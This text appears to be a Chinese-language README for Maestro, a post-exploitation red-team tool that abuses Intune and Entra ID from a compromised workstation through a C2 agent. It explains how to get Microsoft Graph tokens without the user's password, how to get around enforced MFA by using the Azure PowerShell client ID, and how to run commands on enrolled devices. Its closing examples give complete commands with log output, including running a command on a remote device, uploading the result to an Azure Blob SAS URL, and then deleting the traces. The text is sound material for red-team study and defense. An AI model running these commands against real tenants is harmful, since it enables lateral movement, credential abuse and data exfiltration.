
Abusing Azure services over C2
Maestro 是一款后渗透工具,设计用于通过用户工作站上的 C2 代理与 Intune/EntraID 进行交互,无需知道用户的密码或 Azure 身份验证流程、令牌操作和基于 Web 的管理控制台。Maestro 使从 C2 与 Intune 和 EntraID(以及可能其他 Azure 服务)的交互变得更加容易,因为操作员无需获取用户的明文密码、从系统中提取主刷新令牌(PRT)Cookie、通过 SOCKS 代理运行额外工具或浏览器会话,也无需处理 Azure 身份验证流程、令牌或条件访问策略,即可代表已登录用户在 Azure 中执行操作。
Maestro 本质上是对本地 PRT Cookie 请求和 Microsoft Graph API 调用的封装,并为红队人员添加了许多便利性功能。Maestro 能够在本地环境与 Azure 之间建立攻击路径。例如,通过在 Intune 管理员的机器上运行 Maestro,你可以在任何已注册设备上执行 PowerShell 脚本,而无需知道管理员的凭据,即使条件访问策略要求 MFA、设备合规性和混合加入设备也是如此。
Maestro 的横向移动功能灵感来自 Andy Robbins(@_wald0)撰写的 Death from Above:从 Azure 到本地 AD 的横向移动。
你可以在这篇 Maestro 的介绍性博客文章中了解更多信息:https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
本仓库中有一个使用 ReleasePlusMSAL 构建配置编译的发布版本。请注意,该配置会将 MSAL 依赖项合并到 .exe 中,但会显著增加生成的二进制文件大小。如果你不打算使用 -m 2 方法请求访问令牌(通过 MSAL 的 SharpGetEntraToken),则可以编译 Release 构建,体积将显著减小。
自 2025 年 2 月起,Microsoft 正在逐步推行针对 Azure 门户及其扩展身份验证的强制 MFA 要求。在这种情况下,使用授权码流程的默认访问令牌请求方法可能会失败,但使用 SharpGetEntraToken/MSAL(-m 2 选项)并指定不需要 MFA 的客户端 ID(如 Azure PowerShell 的 1950a258-227b-4e31-a9cf-717495945fc2)应该仍然有效。
Maestro.exe <command> [subcommand] [options]
所有命令和子命令都有一个帮助页面,该页面由自定义命令行解析器生成,以将二进制文件的大小保持在最小。可以通过输入任何 Maestro 命令后跟 -h 或 --help 来访问帮助页面。
请参阅每个命令的 --help 选项输出,以获取最新的用法信息。
示例可在本文件底部找到。
为了调试,我在一台已加入 Intune 的机器上共享一个目录,该目录可从运行 Visual Studio 的主机访问,执行 Visual Studio 远程调试器,配置一个生成后任务将解决方案文件复制到共享目录,并配置 Visual Studio 在已加入的系统中进行远程调试。
如果没有 SpecterOps 对该项目的赞助——这是他们致力于透明度和支持开源开发的一部分——我就不可能花费时间研究、开发和改进 Maestro。我非常感谢他们的指导和支持。
Maestro 的某些功能受到其他人工作的启发或基于其构建,包括:
如果你有兴趣合作,请在 Twitter(@_Mayyhem)或 BloodHoundGang Slack 上联系我!
使用 MSAL 和 Azure PowerShell 客户端 ID 获取 MS Graph 的访问令牌(尚未被强制 MFA 阻止):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
在 ID 为 e537180b-6d04-427e-bf93-dbde818400eb 的 Intune 设备上执行 dsregcmd.exe,并将结果上传到使用共享访问令牌的 Azure 存储 Blob 容器 SAS URL:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902